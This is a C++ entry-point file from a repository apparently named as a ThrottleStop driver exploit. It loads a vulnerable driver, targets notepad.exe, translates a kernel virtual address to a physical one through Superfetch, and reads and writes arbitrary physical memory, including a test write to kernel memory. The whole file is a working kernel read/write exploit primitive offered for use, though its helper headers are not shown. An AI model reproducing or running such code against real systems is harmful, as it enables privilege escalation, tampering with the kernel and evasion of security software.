AmrHuss-throttlestop-exploit-rw/Entry.cpp

#include "driver/driver.h"
#include "superfetch/superfetch.h"
#include <iostream>
#pragma comment(lib, "ntdll.lib")


int main()
{
    MemoryDriver Driver;

    if (!Driver.Initialize())
    {
        std::wcout << L"failed to init driver\n";
        Sleep(2000);
        return 1;
    }

    if (!Driver.SetTargetProcess(L"notepad.exe"))
    {
        std::wcout << L"cant find notepad\n";
        Sleep(2000);
        return 1;
    }

    std::wcout << L"target pid: " << Driver.GetTargetProcessId() << L"\n";

    auto mm = spf::memory_map::current();
    if (!mm)
    {
        std::wcout << L"memory map failed\n";
        Sleep(2000);
        return 1;
    }

    // translate virtual to physical
    void* virt_addr = reinterpret_cast<void*>(0xFFFFF80000001000);
    std::uint64_t phys_addr = mm->translate(virt_addr);

    if (phys_addr)
    {
        std::wcout << L"virtual: 0x" << std::hex << reinterpret_cast<std::uintptr_t>(virt_addr) << L"\n";
        std::wcout << L"physical: 0x" << phys_addr << L"\n";

        // read from physical memory
        ULONG64 val = Driver.ReadPhysical<ULONG64>(phys_addr);
        std::wcout << L"read: 0x" << val << L"\n";

        // write test
        ULONG64 orig = val;
        if (Driver.WritePhysical<ULONG64>(phys_addr, 0x1337))
        {
            ULONG64 new_val = Driver.ReadPhysical<ULONG64>(phys_addr);
            std::wcout << L"wrote: 0x" << new_val << L"\n";

            // restore
            Driver.WritePhysical<ULONG64>(phys_addr, orig);
        }
    }

    // test a few more addresses
    ULONG64 test_addrs[] = { 0x1000, 0x2000, 0x10000 };
    for (auto addr : test_addrs)
    {
        ULONG64 value = Driver.ReadPhysical<ULONG64>(addr);
        std::wcout << L"0x" << std::hex << addr << L": 0x" << value << L"\n";
    }

    std::wcout << L"done\n";
    Sleep(2000);
    return 0;
}